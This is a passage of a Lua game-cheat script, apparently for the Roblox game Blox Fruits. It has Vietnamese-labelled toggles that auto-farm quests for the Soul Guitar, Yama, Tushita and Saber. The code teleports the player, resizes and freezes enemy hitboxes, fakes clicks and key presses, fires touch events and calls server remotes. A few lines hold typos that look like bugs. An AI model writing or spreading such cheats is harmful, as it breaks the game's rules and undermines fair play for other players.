topos(CFrame.new(-10160.787109375, 138.6616973876953, 5955.03076171875))

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

end

end

end

else

topos(CFrame.new(-10160.787109375, 138.6616973876953, 5955.03076171875))

end

end

else

if string.find(game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("gravestoneEvent",2), "Error") then

print("Go to Grave")

topos(CFrame.new(-8653.2060546875, 140.98487854003906, 6160.033203125))

elseif string.find(game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("gravestoneEvent",2), "Nothing") then

print("Wait Next Night")

else

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("gravestoneEvent",2,true)

end

end

end

else

topos(CFrame.new(-9681.458984375, 6.139880657196045, 6341.3720703125))

end

else

if \_G.soulGuitarhop then

hop()

end

end

end

end)

end

end)

end

if World3 then

Weapon:Toggle("Đổi Sever Lấy Soul Guitar",false,function(value)

\_G.soulGuitarhop = value

end)

end

if World3 then

Weapon:Seperator("Song Kiếm")

end

if World3 then

Weapon:Toggle("Auto Song Kiếm",\_G.songkiem,function(autocdkf)

\_G.songkiem = autocdkf

StopTween(\_G.songkiem)

\_G.click = value

end)

end

spawn(function()

while wait() do

pcall(function()

if \_G.songkiem then

if game.Players.LocalPlayer.Character:FindFirstChild("Tushita") or game.Players.LocalPlayer.Backpack:FindFirstChild("Tushita") or game.Players.LocalPlayer.Character:FindFirstChild("Yama") or game.Players.LocalPlayer.Backpack:FindFirstChild("Yama") then

if game.Players.LocalPlayer.Character:FindFirstChild("Tushita") or game.Players.LocalPlayer.Backpack:FindFirstChild("Tushita") then

if game.Players.LocalPlayer.Backpack:FindFirstChild("Tushita") then

EquipTool("Tushita")

end

elseif game.Players.LocalPlayer.Character:FindFirstChild("Yama") or game.Players.LocalPlayer.Backpack:FindFirstChild("Yama") then

if game.Players.LocalPlayer.Backpack:FindFirstChild("Yama") then

EquipTool("Yama")

end

end

else

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("LoadItem","Tushita")

end

end

end)

end

end)

spawn(function()

while wait() do

pcall(function()

if \_G.songkiem then

if GetMaterial("Alucard Fragment") == 0 then

Auto\_Quest\_Yama\_1 = true

Auto\_Quest\_Yama\_2 = false

Auto\_Quest\_Yama\_3 = false

Auto\_Quest\_Tushita\_1 = false

Auto\_Quest\_Tushita\_2 = false

Auto\_Quest\_Tushita\_3 = false

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CDKQuest","Progress","Evil")

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CDKQuest","StartTrial","Evil")

elseif GetMaterial("Alucard Fragment") == 1 then

Auto\_Quest\_Yama\_1 = false

Auto\_Quest\_Yama\_2 = true

Auto\_Quest\_Yama\_3 = false

Auto\_Quest\_Tushita\_1 = false

Auto\_Quest\_Tushita\_2 = false

Auto\_Quest\_Tushita\_3 = false

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CDKQuest","Progress","Evil")

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CDKQuest","StartTrial","Evil")

elseif GetMaterial("Alucard Fragment") == 2 then

Auto\_Quest\_Yama\_1 = false

Auto\_Quest\_Yama\_2 = false

Auto\_Quest\_Yama\_3 = true

Auto\_Quest\_Tushita\_1 = false

Auto\_Quest\_Tushita\_2 = false

Auto\_Quest\_Tushita\_3 = false

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CDKQuest","Progress","Evil")

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CDKQuest","StartTrial","Evil")

elseif GetMaterial("Alucard Fragment") == 3 then

Auto\_Quest\_Yama\_1 = false

Auto\_Quest\_Yama\_2 = false

Auto\_Quest\_Yama\_3 = false

Auto\_Quest\_Tushita\_1 = true

Auto\_Quest\_Tushita\_2 = false

Auto\_Quest\_Tushita\_3 = false

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CDKQuest","Progress","Good")

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CDKQuest","StartTrial","Good")

elseif GetMaterial("Alucard Fragment") == 4 then

Auto\_Quest\_Yama\_1 = false

Auto\_Quest\_Yama\_2 = false

Auto\_Quest\_Yama\_3 = false

Auto\_Quest\_Tushita\_1 = false

Auto\_Quest\_Tushita\_2 = true

Auto\_Quest\_Tushita\_3 = false

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CDKQuest","Progress","Good")

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CDKQuest","StartTrial","Good")

elseif GetMaterial("Alucard Fragment") == 5 then

Auto\_Quest\_Yama\_1 = false

Auto\_Quest\_Yama\_2 = false

Auto\_Quest\_Yama\_3 = false

Auto\_Quest\_Tushita\_1 = false

Auto\_Quest\_Tushita\_2 = false

Auto\_Quest\_Tushita\_3 = true

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CDKQuest","Progress","Good")

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CDKQuest","StartTrial","Good")

elseif GetMaterial("Alucard Fragment") == 6 then

if game:GetService("Workspace").Enemies:FindFirstChild("Cursed Skeleton Boss [Lv. 2025] [Boss]") or game:GetService("Workspace").ReplicatedStorage:FindFirstChild("Cursed Skeleton Boss [Lv. 2025] [Boss]") then

Auto\_Quest\_Yama\_1 = false

Auto\_Quest\_Yama\_2 = false

Auto\_Quest\_Yama\_3 = false

Auto\_Quest\_Tushita\_1 = false

Auto\_Quest\_Tushita\_2 = false

Auto\_Quest\_Tushita\_3 = false

if game:GetService("Workspace").Enemies:FindFirstChild("Cursed Skeleton Boss [Lv. 2025] [Boss]") or game:GetService("Workspace").Enemies:FindFirstChild("Cursed Skeleton [Lv. 2200]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Cursed Skeleton Boss [Lv. 2025] [Boss]" or v.Name == "Cursed Skeleton [Lv. 2200]" then

if v.Humanoid.Health > 0 then

EquipTool(Sword)

topos(v.HumanoidRootPart.CFrame \* Farm\_Mode)

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

v.HumanoidRootPart.Transparency = 1

v.Humanoid.JumpPower = 0

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.CanCollide = false

--v.Humanoid:ChangeState(11)

--v.Humanoid:ChangeState(14)

FarmPos = v.HumanoidRootPart.CFrame

MonFarm = v.Name

Click()

end

end

end

end

else

if (CFrame.new(-12361.7060546875, 603.3547973632812, -6550.5341796875).Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 100 then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CDKQuest","Progress","Good")

wait(1)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CDKQuest","Progress","Evil")

wait(1)

topos(CFrame.new(-12361.7060546875, 603.3547973632812, -6550.5341796875))

wait(1.5)

game:GetService("VirtualInputManager"):SendKeyEvent(true, "E", false, game)

wait(1.5)

topos(CFrame.new(-12253.5419921875, 598.8999633789062, -6546.8388671875))

else

topos(CFrame.new(-12361.7060546875, 603.3547973632812, -6550.5341796875))

end

end

end

end

end)

end

end)

spawn(function()

while wait() do

if Auto\_Quest\_Yama\_1 then

pcall(function()

if game:GetService("Workspace").Enemies:FindFirstChild("Mythological Pirate [Lv. 1850]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Mythological Pirate [Lv. 1850]" then

repeat wait()

topos(v.HumanoidRootPart.CFrame \* CFrame.new(0,0,-2))

until \_G.songkiem == false or Auto\_Quest\_Yama\_1 == false

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CDKQuest","StartTrial","Evil")

end

end

else

topos(CFrame.new(-13451.46484375, 543.712890625, -6961.0029296875))

end

end)

end

end

end)

spawn(function()

while wait() do

pcall(function()

if Auto\_Quest\_Yama\_2 then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v:FindFirstChild("HazeESP") then

v.HazeESP.Size = UDim2.new(50,50,50,50)

v.HazeESP.MaxDistance = "inf"

end

end

for i,v in pairs(game:GetService("ReplicatedStorage"):GetChildren()) do

if v:FindFirstChild("HazeESP") then

v.HazeESP.Size = UDim2.new(50,50,50,50)

v.HazeESP.MaxDistance = "inf"

end

end

end

end)

end

end)

spawn(function()

while wait() do

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if Auto\_Quest\_Yama\_2 and v:FindFirstChild("HazeESP") and (v.HumanoidRootPart.Position - PosMonsEsp.Position).magnitude <= 300 then

v.HumanoidRootPart.CFrame = PosMonsEsp

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if not v.HumanoidRootPart:FindFirstChild("BodyVelocity") then

local vc = Instance.new("BodyVelocity", v.HumanoidRootPart)

vc.MaxForce = Vector3.new(1, 1, 1) \* math.huge

vc.Velocity = Vector3.new(0, 0, 0)

end

end

end

end)

end

end)

spawn(function()

while wait() do

if Auto\_Quest\_Yama\_2 then

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v:FindFirstChild("HazeESP") then

repeat wait()

if (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude > 2000 then

topos(V.HumanoidRootPart.CFrame \* Farm\_Mode)

else

EquipTool(Sword)

topos(v.HumanoidRootPart.CFrame \* Farm\_Mode)

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

v.HumanoidRootPart.Transparency = 1

v.Humanoid.JumpPower = 0

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.CanCollide = false

--v.Humanoid:ChangeState(11)

--v.Humanoid:ChangeState(14)

FarmPos = v.HumanoidRootPart.CFrame

MonFarm = v.Name

Click()

if v.Humanoid.Health <= 0 and v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

end

until \_G.songkiem == false or Auto\_Quest\_Yama\_2 == false or not v.Parent or v.Humanoid.Health <= 0 or not v:FindFirstChild("HazeESP")

else

for x,y in pairs(game:GetService("ReplicatedStorage"):GetChildren()) do

if y:FindFirstChild("HazeESP") then

if (y.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude > 2000 then

topos(y.HumanoidRootPart.CFrameMon\* Farm\_Mode)

else

topos(y.HumanoidRootPart.CFrame \* Farm\_Mode)

end

end

end

end

end

end)

end

end

end)

spawn(function()

while wait() do

if Auto\_Quest\_Yama\_3 then

pcall(function()

if game.Players.LocalPlayer.Backpack:FindFirstChild("Hallow Essence") then

topos(game:GetService("Workspace").Map["Haunted Castle"].Summoner.Detection.CFrame)

elseif game:GetService("Workspace").Map:FindFirstChild("HellDimension") then

repeat wait()

if game:GetService("Workspace").Enemies:FindFirstChild("Cursed Skeleton [Lv. 2200]") or game:GetService("Workspace").Enemies:FindFirstChild("Cursed Skeleton [Lv. 2200] [Boss]") or game:GetService("Workspace").Enemies:FindFirstChild("Hell's Messenger [Lv. 2200] [Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Cursed Skeleton [Lv. 2200]" or v.Name == "Cursed Skeleton [Lv. 2200] [Boss]" or v.Name == "Hell's Messenger [Lv. 2200] [Boss]" then

if v.Humanoid.Health > 0 then

repeat wait()

EquipTool(Sword)

topos(v.HumanoidRootPart.CFrame \* Farm\_Mode)

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

v.HumanoidRootPart.Transparency = 1

v.Humanoid.JumpPower = 0

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.CanCollide = false

--v.Humanoid:ChangeState(11)

--v.Humanoid:ChangeState(14)

FarmPos = v.HumanoidRootPart.CFrame

MonFarm = v.Name

Click()

if v.Humanoid.Health <= 0 and v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

until v.Humanoid.Health <= 0 or not v.Parent or Auto\_Quest\_Yama\_3 == false

end

end

end

else

wait(5)

topos(game:GetService("Workspace").Map.HellDimension.Torch1.CFrame)

wait(1.5)

game:GetService("VirtualInputManager"):SendKeyEvent(true, "E", false, game)

wait(1.5)

topos(game:GetService("Workspace").Map.HellDimension.Torch2.CFrame)

wait(1.5)

game:GetService("VirtualInputManager"):SendKeyEvent(true, "E", false, game)

wait(1.5)

topos(game:GetService("Workspace").Map.HellDimension.Torch3.CFrame)

wait(1.5)

game:GetService("VirtualInputManager"):SendKeyEvent(true, "E", false, game)

wait(1.5)

topos(game:GetService("Workspace").Map.HellDimension.Exit.CFrame)

end

until \_G.songkiem == false or Auto\_Quest\_Yama\_3 == false or GetMaterial("Alucard Fragment") == 3

else

if game:GetService("Workspace").Enemies:FindFirstChild("Soul Reaper [Lv. 2100] [Raid Boss]") or game.ReplicatedStorage:FindFirstChild("Soul Reaper [Lv. 2100] [Raid Boss]") then

if game:GetService("Workspace").Enemies:FindFirstChild("Soul Reaper [Lv. 2100] [Raid Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Soul Reaper [Lv. 2100] [Raid Boss]" then

if v.Humanoid.Health > 0 then

repeat wait()

topos(v.HumanoidRootPart.CFrame \* Farm\_Mode)

until \_G.songkiem == false or Auto\_Quest\_Yama\_3 == false or game:GetService("Workspace").Map:FindFirstChild("HellDimension")

end

end

end

else

topos(CFrame.new(-9570.033203125, 315.9346923828125, 6726.89306640625))

end

else

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("Bones","Buy",1,1)

end

end

end)

end

end

end)

spawn(function()

while wait() do

if Auto\_Quest\_Tushita\_1 then

topos(CFrame.new(-9546.990234375, 21.139892578125, 4686.1142578125))

wait(5)

topos(CFrame.new(-6120.0576171875, 16.455780029296875, -2250.697265625))

wait(5)

topos(CFrame.new(-9533.2392578125, 7.254445552825928, -8372.69921875))

end

end

end)

spawn(function()

while wait() do

if Auto\_Quest\_Tushita\_2 then

pcall(function()

if (CFrame.new(-5539.3115234375, 313.800537109375, -2972.372314453125).Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 500 then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if Auto\_Quest\_Tushita\_2 and v:FindFirstChild("HumanoidRootPart") and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 then

if (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude < 2000 then

repeat wait()

EquipTool(Sword)

topos(v.HumanoidRootPart.CFrame \* Farm\_Mode)

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

v.HumanoidRootPart.Transparency = 1

v.Humanoid.JumpPower = 0

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.CanCollide = false

--v.Humanoid:ChangeState(11)

--v.Humanoid:ChangeState(14)

FarmPos = v.HumanoidRootPart.CFrame

MonFarm = v.Name

Click()

if v.Humanoid.Health <= 0 and v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

until v.Humanoid.Health <= 0 or not v.Parent or Auto\_Quest\_Tushita\_2 == false

end

end

end

else

topos(CFrame.new(-5545.1240234375, 313.800537109375, -2976.616455078125))

end

end)

end

end

end)

spawn(function()

while wait() do

if Auto\_Quest\_Tushita\_3 then

pcall(function()

if game:GetService("Workspace").Enemies:FindFirstChild("Cake Queen [Lv. 2175] [Boss]") or game.ReplicatedStorage:FindFirstChild("Cake Queen [Lv. 2175] [Boss]") then

if game:GetService("Workspace").Enemies:FindFirstChild("Cake Queen [Lv. 2175] [Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Cake Queen [Lv. 2175] [Boss]" then

if v.Humanoid.Health > 0 then

repeat wait()

EquipTool(Sword)

topos(v.HumanoidRootPart.CFrame \* Farm\_Mode)

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

v.HumanoidRootPart.Transparency = 1

v.Humanoid.JumpPower = 0

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.CanCollide = false

--v.Humanoid:ChangeState(11)

--v.Humanoid:ChangeState(14)

FarmPos = v.HumanoidRootPart.CFrame

MonFarm = v.Name

Click()

if v.Humanoid.Health <= 0 and v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

until \_G.songkiem == false or Auto\_Quest\_Tushita\_3 == false or game:GetService("Workspace").Map:FindFirstChild("HeavenlyDimension")

end

end

end

else

topos(CFrame.new(-709.3132934570312, 381.6005859375, -11011.396484375))

end

elseif game:GetService("Workspace").Map:FindFirstChild("HeavenlyDimension") then

repeat wait()

if game:GetService("Workspace").Enemies:FindFirstChild("Cursed Skeleton [Lv. 2200]") or game:GetService("Workspace").Enemies:FindFirstChild("Cursed Skeleton [Lv. 2200] [Boss]") or game:GetService("Workspace").Enemies:FindFirstChild("Heaven's Guardian [Lv. 2200] [Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Cursed Skeleton [Lv. 2200]" or v.Name == "Cursed Skeleton [Lv. 2200] [Boss]" or v.Name == "Heaven's Guardian [Lv. 2200] [Boss]" then

if v.Humanoid.Health > 0 then

repeat wait()

EquipTool(Sword)

topos(v.HumanoidRootPart.CFrame \* Farm\_Mode)

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

v.HumanoidRootPart.Transparency = 1

v.Humanoid.JumpPower = 0

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.CanCollide = false

--v.Humanoid:ChangeState(11)

--v.Humanoid:ChangeState(14)

FarmPos = v.HumanoidRootPart.CFrame

MonFarm = v.Name

Click()

if v.Humanoid.Health <= 0 and v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

until v.Humanoid.Health <= 0 or not v.Parent or Auto\_Quest\_Tushita\_3 == false

end

end

end

else

wait(5)

topos(game:GetService("Workspace").Map.HeavenlyDimension.Torch1.CFrame)

wait(1.5)

game:GetService("VirtualInputManager"):SendKeyEvent(true, "E", false, game)

wait(1.5)

topos(game:GetService("Workspace").Map.HeavenlyDimension.Torch2.CFrame)

wait(1.5)

game:GetService("VirtualInputManager"):SendKeyEvent(true, "E", false, game)

wait(1.5)

topos(game:GetService("Workspace").Map.HeavenlyDimension.Torch3.CFrame)

wait(1.5)

game:GetService("VirtualInputManager"):SendKeyEvent(true, "E", false, game)

wait(1.5)

topos(game:GetService("Workspace").Map.HeavenlyDimension.Exit.CFrame)

end

until \_G.songkiem == false or Auto\_Quest\_Tushita\_3 == false or GetMaterial("Alucard Fragment") == 6

end

end)

end

end

end)

if World1 then

Weapon:Seperator(" Auto Saber ")

Weapon:Toggle("Auto Saber",\_G.AutoSaber,function(value)

\_G.AutoSaber = value

\_G.click = value

end)

Weapon:Toggle("Auto Saber Hop",\_G.AutoSaberHop,function(value)

\_G.AutoSaberHop = value

end)

spawn(function()

while wait() do

if \_G.AutoSaber then

if game.Players.localPlayer.Data.Level.Value < 200 then

else

if game.Workspace.Map.Jungle.Final.Part.CanCollide == false then

if \_G.AutoSaber and game.ReplicatedStorage:FindFirstChild("Saber Expert [Lv. 200] [Boss]") or game.Workspace.Enemies:FindFirstChild("Saber Expert [Lv. 200] [Boss]") then

if game.Workspace.Enemies:FindFirstChild("Saber Expert [Lv. 200] [Boss]") then

for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

if v.Name == "Saber Expert [Lv. 200] [Boss]" and v:FindFirstChild("HumanoidRootPart") and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 then

repeat wait()

if (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude > 300 then

Farmtween = topos(v.HumanoidRootPart.Position,v.HumanoidRootPart.CFrame)

elseif (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude <= 300 then

if Farmtween then

Farmtween:Stop()

end

AutoHaki()

EquipWeapon(\_G.SelectWeapon)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.HumanoidRootPart.CFrame \* CFrame.new(0, 30, 0)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

end

until not \_G.Auto\_Saber or not v.Parent or v.Humanoid.Health <= 0

end

end

else

Questtween = topos(CFrame.new(-1405.41956, 29.8519993, 5.62435055).Position,CFrame.new(-1405.41956, 29.8519993, 5.62435055))

if (CFrame.new(-1405.41956, 29.8519993, 5.62435055).Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude <= 300 then

if Questtween then

Questtween:Stop()

end

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-1405.41956, 29.8519993, 5.62435055, 0.885240912, 3.52892613e-08, 0.465132833, -6.60881128e-09, 1, -6.32913171e-08, -0.465132833, 5.29540891e-08, 0.885240912)

end

end

else

if \_G.AutoSaberHop then

Hop()

end

end

elseif game.Players.LocalPlayer.Backpack:FindFirstChild("Relic") or game.Players.LocalPlayer.Character:FindFirstChild("Relic") and game.Players.localPlayer.Data.Level.Value >= 200 then

EquipWeapon("Relic")

wait(0.5)

Questtween = topos(CFrame.new(-1405.41956, 29.8519993, 5.62435055).Position,CFrame.new(-1405.41956, 29.8519993, 5.62435055))

if (CFrame.new(-1405.41956, 29.8519993, 5.62435055).Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude <= 300 then

if Questtween then

Questtween:Stop()

end

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-1405.41956, 29.8519993, 5.62435055, 0.885240912, 3.52892613e-08, 0.465132833, -6.60881128e-09, 1, -6.32913171e-08, -0.465132833, 5.29540891e-08, 0.885240912)

end

else

if Workspace.Map.Jungle.QuestPlates.Door.CanCollide == false then

if game.Workspace.Map.Desert.Burn.Part.CanCollide == false then

if game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("ProQuestProgress","SickMan") == 0 then

if game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("ProQuestProgress","RichSon") == 0 then

if game.Workspace.Enemies:FindFirstChild("Mob Leader [Lv. 120] [Boss]") then

for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

if \_G.AutoSaber and v:IsA("Model") and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 and v.Name == "Mob Leader [Lv. 120] [Boss]" then

repeat

pcall(function() wait()

if (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude > 300 then

Farmtween = topos(v.HumanoidRootPart.Position,v.HumanoidRootPart.CFrame)

elseif (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude <= 300 then

if Farmtween then

Farmtween:Stop()

end

AutoHaki()

EquipWeapon(\_G.SelectWeapon)

if not game.Players.LocalPlayer.Character:FindFirstChild("HasBuso") then

local args = {

[1] = "Buso"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.HumanoidRootPart.CFrame \* CFrame.new(0, 30, 0)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

end

end)

until not \_G.AutoSaber or not v.Parent or v.Humanoid.Health <= 0

end

end

else

Questtween = topos(CFrame.new(-2848.59399, 7.4272871, 5342.44043).Position,CFrame.new(-2848.59399, 7.4272871, 5342.44043))

if (CFrame.new(-2848.59399, 7.4272871, 5342.44043).Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude <= 300 then

if Questtween then

Questtween:Stop()

end

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-2848.59399, 7.4272871, 5342.44043, -0.928248107, -8.7248246e-08, 0.371961564, -7.61816636e-08, 1, 4.44474857e-08, -0.371961564, 1.29216433e-08, -0.928248107)

end

end

elseif game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("ProQuestProgress","RichSon") == 1 then

if game.Players.LocalPlayer.Backpack:FindFirstChild("Relic") or game.Players.LocalPlayer.Character:FindFirstChild("Relic") then

EquipWeapon("Relic")

wait(0.5)

Questtween = topos(CFrame.new(-1405.41956, 29.8519993, 5.62435055).Position,CFrame.new(-1405.41956, 29.8519993, 5.62435055))

if (CFrame.new(-1405.41956, 29.8519993, 5.62435055).Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude <= 300 then

if Questtween then

Questtween:Stop()

end

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-1405.41956, 29.8519993, 5.62435055)

end

else

Questtween = topos(CFrame.new(-910.979736, 13.7520342, 4078.14624).Position,CFrame.new(-910.979736, 13.7520342, 4078.14624))

if (CFrame.new(-910.979736, 13.7520342, 4078.14624).Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude <= 300 then

if Questtween then

Questtween:Stop()

end

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-910.979736, 13.7520342, 4078.14624, 0.00685182028, -1.53155766e-09, -0.999976516, 9.15205245e-09, 1, -1.46888401e-09, 0.999976516, -9.14177267e-09, 0.00685182028)

wait(.5)

local args = {

[1] = "ProQuestProgress",

[2] = "RichSon"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

end

else

Questtween = topos(CFrame.new(-910.979736, 13.7520342, 4078.14624).Position,CFrame.new(-910.979736, 13.7520342, 4078.14624))

if (CFrame.new(-910.979736, 13.7520342, 4078.14624).Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude <= 300 then

if Questtween then

Questtween:Stop()

end

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-910.979736, 13.7520342, 4078.14624)

local args = {

[1] = "ProQuestProgress",

[2] = "RichSon"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

end

else

if game.Players.LocalPlayer.Backpack:FindFirstChild("Cup") or game.Players.LocalPlayer.Character:FindFirstChild("Cup") then

EquipWeapon("Cup")

if game.Players.LocalPlayer.Character.Cup.Handle:FindFirstChild("TouchInterest") then

Questtween = topos(CFrame.new(1397.229, 37.3480148, -1320.85217).Position,CFrame.new(1397.229, 37.3480148, -1320.85217))

if (CFrame.new(1397.229, 37.3480148, -1320.85217).Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude <= 300 then

if Questtween then

Questtween:Stop()

end

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(1397.229, 37.3480148, -1320.85217, -0.11285457, 2.01368788e-08, 0.993611455, 1.91641178e-07, 1, 1.50028845e-09, -0.993611455, 1.90586206e-07, -0.11285457)

end

else

wait(0.5)

if game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("ProQuestProgress","SickMan") ~= 0 then

local args = {

[1] = "ProQuestProgress",

[2] = "SickMan"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

end

else

Questtween = topos(game.Workspace.Map.Desert.Cup.Position,game.Workspace.Map.Desert.Cup.CFrame)

if (game.Workspace.Map.Desert.Cup.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude <= 300 then

if Questtween then

Questtween:Stop()

end

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Workspace.Map.Desert.Cup.CFrame

end

firetouchinterest(game.Workspace.Map.Desert.Cup.TouchInterest,game.Players.LocalPlayer.Character.Head, 1)

end

end

else

if game.Players.LocalPlayer.Backpack:FindFirstChild("Torch") or game.Players.LocalPlayer.Character:FindFirstChild("Torch") then

EquipWeapon("Torch")

Questtween = topos(CFrame.new(1114.87708, 4.9214654, 4349.8501).Position,CFrame.new(1114.87708, 4.9214654, 4349.8501))

if (CFrame.new(1114.87708, 4.9214654, 4349.8501).Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude <= 300 then

if Questtween then

Questtween:Stop()

end

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(1114.87708, 4.9214654, 4349.8501, -0.612586915, -9.68697833e-08, 0.790403247, -1.2634203e-07, 1, 2.4638446e-08, -0.790403247, -8.47679615e-08, -0.612586915)

end

else

Questtween = topos(CFrame.new(-1610.00757, 11.5049858, 164.001587).Position,CFrame.new(-1610.00757, 11.5049858, 164.001587))

if (CFrame.new(-1610.00757, 11.5049858, 164.001587).Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude <= 300 then

if Questtween then

Questtween:Stop()

end

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-1610.00757, 11.5049858, 164.001587, 0.984807551, -0.167722285, -0.0449818149, 0.17364943, 0.951244235, 0.254912198, 3.42372805e-05, -0.258850515, 0.965917408)

end

end

end

else

for i,v in pairs(Workspace.Map.Jungle.QuestPlates:GetChildren()) do

if v:IsA("Model") then wait()

if v.Button.BrickColor ~= BrickColor.new("Camo") then

repeat wait()

Questtween = topos(v.Button.Position,v.Button.CFrame)

if (v.Button.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude <= 150 then

if Questtween then

Questtween:Stop()

end

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.Button.CFrame

end

until not \_G.AutoSaber or v.Button.BrickColor == BrickColor.new("Camo")

end

end

end

end

end

end

end

end

end)

Weapon:Seperator(" Pole ")

Weapon:Toggle("Auto Pole V.1",\_G.AutoPole,function(value)

